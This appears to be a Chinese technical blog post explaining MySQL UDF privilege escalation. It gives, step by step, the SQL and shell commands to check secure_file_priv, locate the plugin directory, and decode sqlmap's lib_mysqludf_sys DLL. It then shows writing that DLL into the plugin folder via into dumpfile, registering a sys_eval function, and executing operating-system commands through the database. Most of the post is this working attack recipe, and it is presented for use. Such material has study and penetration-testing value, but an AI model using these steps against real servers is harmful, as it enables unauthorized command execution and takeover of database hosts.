mysql udf提权

UDF

UDF(Userdefined function)可翻译为用户自定义函数,其为mysql的一个拓展接口,可以为mysql增添一些函数。

UDF提权

使用mysql权限提升为系统权限
前提条件:

  1. 知道mysql用户名和密码,并且可以远程登陆
  2. mysql具有文件写入权限,即secure_file_priv的值为空。

提权步骤

1. 查看mysql是否有写入文件的权限

SHOW GLOBAL VARIABLES LIKE "%secure%" 

secure_file_priv是用来限制load dumpfile、into outfile、load_file()函数在哪个目录下拥有上传和读取文件的权限。它有三种情况

secure_file_priv的值为null,表示不能写入读取文件
secure_file_priv的值为/tmp/,表示只能写入文件到/tmp
secure_file_priv的值为空,表示允许读取写入文件
在这里插入图片描述
如上图表示mysql有写入的权限

2. 上传UDF的动态链接库
动态链接库就是实现共享函数库概念的一种方式,在windows环境下后缀名为.dll,在linux环境下后缀名为.so 。我们要将该文件放在特定的目录中,该文件中包含了执行系统命令的一些函数
先查看以下插件的位置,我们需要把dll文件放在这个目录下

SHOW GLOBAL VARIABLES LIKE "%plugin%" 

在这里插入图片描述
C:\phpstudy_pro\Extensions\MySQL5.7.26\lib\plugin\

现在需要上传dll文件,这个dll文件在sqlmap和msf中,sqlmap里面对应的目录地址为\sqlmap\data\udf\mysql,里面分为32位和64位,首先确认一下目标版本

select @@version_compile_os, @@version_compile_machine;

在这里插入图片描述
我这里为64为操作系统版本,所以上传64位的dll文件
sqlmap 中这些动态链接库为了防止被误杀都经过编码处理,不能直接使用。如果后缀名为.so_或.dll_的话,就需要解码,如果后缀名为.so或.dll的话就不需要解码即可直接使用。sqlmap也自带了解码的py脚本,在/extra/cloak目录下,使用cloak.py解密即可。

python cloak.py -d -i lib_mysqludf_sys.dll_ -o udf.dll

有了udf.dll,接下来就需要上传到目标服务器执行,有两种方式

第一种方式:把udf.dll文件先上传到目标服务器,通过into dumpfile方式写入
比如把dll文件上传到d盘下,然后再dump到插件的目录

select hex(load_file('D:\\udf.dll')) into dumpfile 'C:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib\\plugin\\udf.dll';

第二种方式:直接写入16进制数据,参照文章 MySQL UDF 提权十六进制查询

3.创建自定义函数
上传成功后,执行如下命令创建自定义函数

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

4.查看是否新增了sys_eval函数

select * from mysql.func;

在这里插入图片描述
5. 执行命令

select sys_eval('whoami')

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值